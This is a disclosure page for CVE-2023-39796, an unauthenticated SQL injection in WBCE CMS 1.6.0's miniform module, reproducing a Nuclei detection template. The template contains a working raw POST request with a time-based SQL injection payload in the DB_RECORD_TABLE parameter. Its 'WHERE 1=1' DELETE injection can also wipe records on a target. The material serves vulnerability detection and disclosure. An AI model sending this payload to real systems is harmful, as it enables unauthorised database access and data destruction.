CVE-2023-39796: WBCE 1.6.0 - SQL Injection

2025-08-01 WBCE PoC Public

Description

There is an sql injection vulnerability in "miniform module" which is a default module installed in the WBCE cms. It is an unauthenticated sqli so anyone could access it and takeover the whole database. In file "/modules/miniform/ajax_delete_message.php" there is no authentication check. On line 40 in this file, there is a DELETE query that is vulnerable, an attacker could jump from the query using the tick sign - `.

PoC

id: CVE-2023-39796

info:
  name: WBCE 1.6.0 - SQL Injection
  author: youngpope
  severity: critical
  description: |
    There is an sql injection vulnerability in "miniform module" which is a default module installed in the WBCE cms. It is an unauthenticated sqli so anyone could access it and takeover the whole database. In file "/modules/miniform/ajax_delete_message.php" there is no authentication check. On line 40 in this file, there is a DELETE query that is vulnerable, an attacker could jump from the query using the tick sign - `.
  impact: |
    Unauthenticated attackers can execute time-based SQL injection through the DB_RECORD_TABLE parameter in the miniform module to extract the complete CMS database and takeover the WBCE installation.
  remediation: Fixed in version 1.6.1
  reference:
    - https://forum.wbce.org/viewtopic.php?pid=42046#p42046
    - https://github.com/WBCE/WBCE_CMS/releases/tag/1.6.1
    - https://pastebin.com/PBw5AvGp
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-39796
    cwe-id: CWE-89
    epss-score: 0.06146
    epss-percentile: 0.93094
    cpe: cpe:2.3:a:wbce:wbce_cms:1.6.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wbce
    product: wbce_cms
  tags: time-based-sqli,cve,cve2023,sqli,wbce,intrusive,vkev,vuln

http:
  - raw:
      - |
        @timeout: 20s
        POST /modules/miniform/ajax_delete_message.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=delete&DB_RECORD_TABLE=miniform_data`+WHERE+1%3d1+AND+(SELECT+1+FROM+(SELECT(SLEEP(7)))a)--+&iRecordID=1&DB_COLUMN=message_id&MODULE=&purpose=delete_record

    matchers:
      - type: dsl
        dsl:
          - 'duration>=7'
          - 'status_code_1 == 200'
          - 'contains(body, "Record deleted successfully!")'
        condition: and
# digest: 490a0046304402205c61197b3dee13b888feac38003f690b92882c7a670223469b4eb388e6fef6f902202a90699fc86abb4ed1fc9dd5703a08509c0294cea8922edc7c896380ef71eb4c:922c64590222798bb761d5b6d8e72950

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Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2023/CVE-2023-39796.yaml

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